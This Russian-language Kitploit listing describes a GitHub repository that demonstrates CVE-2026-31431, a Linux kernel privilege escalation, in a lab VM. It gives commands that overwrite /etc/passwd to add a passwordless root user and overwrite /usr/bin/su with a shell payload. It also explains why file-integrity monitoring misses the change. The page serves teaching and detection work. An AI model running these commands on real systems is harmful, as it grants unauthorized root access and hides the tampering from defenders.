Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-31431-CopyFail-Linux-PrivEsc — Демонстрация и объяснение CVE-2026-31431 | Kitploit
Инструменты/GitHubGitHub/john-popovici/cve-2026-31431-copyfail-linux-privesc
Повышение привилегийАнализ уязвимостейЭксплуатацияОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHubjohn-popovici/cve-2026-31431-copyfail-linux-privesc

CVE-2026-31431-CopyFail-Linux-PrivEsc

Демонстрация и объяснение CVE-2026-31431

Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
1199 дней назадЕщё не проверено

CVE-2026-31431 CopyFail — локальное повышение привилегий в Linux

Демонстрация и объяснение CVE-2026-31431 — уязвимости локального повышения привилегий Copy Fail в ядре Linux. Уязвимость позволяет перезаписывать данные в page cache для файлов, открытых с разрешением на чтение.

Этот репозиторий предназначен исключительно для образовательных целей и иллюстрирует уязвимость в контролируемой среде. Включённые файлы:

├── exploit
│   ├── copy_fail.py            # Custom exploit that can target any file with read permissions
│   ├── original_payload.txt    # A copy of the payload used in the original exploit
│   ├── copy_fail_original.py   # Original exploit that overwrites /usr/bin/su
│   └── copy_fail_readable.py   # Original exploit in a more readable format with an explanation of the payload
├── README.md
└── Vagrantfile                 # Setup for the Vagrant VM running Ubuntu 22.04

Введение

Уязвимость под названием Copy Fail присутствует в ядрах Linux с 2017 по 2026 год из-за логической ошибки в algif_aead. Ей присвоен идентификатор CVE-2026-31431 с оценкой CVSS 7.8, что соответствует высокому уровню опасности. Эксплойт детерминирован и способен обходить традиционные инструменты контроля целостности файлов.

Proof of concept были опубликованы на различных языках, включая C, Python и Go, но для этой демонстрации используется Python и требуется версия Python 3.10 или выше. Этот эксплойт требует локального выполнения кода от имени непривилегированного пользователя и может быть использован для локального повышения привилегий.

Разделы ниже:

  • Эксплуатация: Демонстрации эксплойта и того, как его можно использовать для получения привилегий root.
  • Замечание об обнаружении эксплуатации: Объяснение того, почему этот эксплойт сложно обнаружить традиционными инструментами контроля целостности файлов.
  • Уязвимость: Ссылка на коммит, который внёс уязвимость, и объяснение проблемы.
  • Патч: Ссылка на коммит, который исправил уязвимость, и объяснение исправления.
  • Дополнительные ресурсы: Список ресурсов для дальнейшего чтения и реализации эксплойта на различных языках

Эксплуатация

Настройка

Убедитесь, что у вас установлены Vagrant и QEMU. Затем клонируйте этот репозиторий и перейдите в каталог проекта.

vagrant up
vagrant ssh

Внутри виртуальной машины мы можем проверить пределы наших возможностей.

id # uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
su # We are prompted for the root password, which we do not have

stat /usr/bin/su # We have read and execute permissions
stat /etc/passwd # We have read permission
stat /etc/shadow # We have no permissions

Очевидно, что наши возможности ограничены, но мы можем использовать уязвимость для повышения привилегий.

Демонстрация эксплуатации 1: Понимание эксплойта

Чтобы понять уязвимость, давайте перезапишем фиктивный файл и посмотрим, что произойдёт.

echo -e "ABCDE\nF\nG" > dummy.txt
cat dummy.txt

У нас есть файл из трёх строк. Первая строка занимает 6 байт (включая символ новой строки), вторая строка — 2 байта, а третья строка — один байт. Это важно, потому что эксплойт перезаписывает данные блоками по 4 байта, и мы дополняем полезную нагрузку, чтобы заполнить блок.

python3 exploit/copy_fail.py --target dummy.txt --payload "123456"
cat dummy.txt

Мы видим, что заменили первые 8 байт файла нашей полезной нагрузкой. Есть два символа, которые присутствуют, но не являются печатаемыми. Откройте файл в nano, чтобы проверить. Но это не слишком интересно, поэтому давайте перейдём к записи в файлы, на которые у нас нет разрешения на запись.

Демонстрация эксплуатации 2: Удаление пароля root

Мы можем перезаписать содержимое /etc/passwd, чтобы добавить пользователя с привилегиями root, но без пароля.

cat /etc/passwd

Первая строка содержит пользователя root и состоит из 8 групп по 4 символа (включая символ новой строки). Она имеет следующий формат: root:x:0:0:root:/root:/bin/bash, где значения обозначают имя пользователя, пароль, UID, GID, домашний каталог, оболочку.

python3 exploit/copy_fail.py --target /etc/passwd --payload "hackd::0:0:root:/root:/bin/bash
"
cat /etc/passwd

Мы добавили нового пользователя hackd с UID 0 и GID 0, что означает наличие привилегий root. Поле пароля пустое, поэтому мы можем войти без пароля.

su hackd
id
cat /etc/shadow

Демонстрация эксплуатации 3: Перезапись исполняемого файла

В оригинальном эксплойте бинарный файл /usr/bin/su перезаписывается инструкциями для запуска оболочки, что позволяет атакующему получить привилегии root при выполнении su. Мы можем воссоздать этот эксплойт, нацелившись на /usr/bin/su с оригинальной полезной нагрузкой из файла. Обратите внимание, что это уничтожает бинарный файл su в page cache.

python3 exploit/copy_fail.py --target /usr/bin/su --payload-file exploit/original_payload.txt

С установленной полезной нагрузкой мы можем выполнить su и получить привилегии root. Это открывает оболочку с идентификатором пользователя 0, который обычно является пользователем root, но если была выполнена предыдущая демонстрация, это будет созданный нами пользователь hackd. Этот эксплойт откроет оболочку, даже если у пользователя root есть пароль.

su
id

Замечание об обнаружении эксплуатации

Этот эксплойт не изменяет файл на диске, а изменяет состояние page cache. В результате традиционные инструменты контроля целостности файлов, которые проверяют изменения файлов на диске, не обнаруживают этот эксплойт.

Чтобы продемонстрировать это, запустите приведённый выше эксплойт(ы), а затем после перезапуска виртуальной машины проверьте содержимое целевого файла.

vagrant halt
vagrant up
vagrant ssh
cat /etc/passwd # The file is unchanged on disk

Правила обнаружения публикуются в общедоступных репозиториях GitHub, которые пытаются обнаружить сетевые индикаторы или известные шаблоны скриптов. Эти правила обнаружения основаны на публичных артефактах PoC, известных полезных нагрузках, фрагментах кода и URL-адресах.

  • Правила Yara
  • Правила Sigma

Например, следующее обнаружит конкретные фрагменты кода, связанные с PoC, или закодированные полезные нагрузки:

Скачать инструмент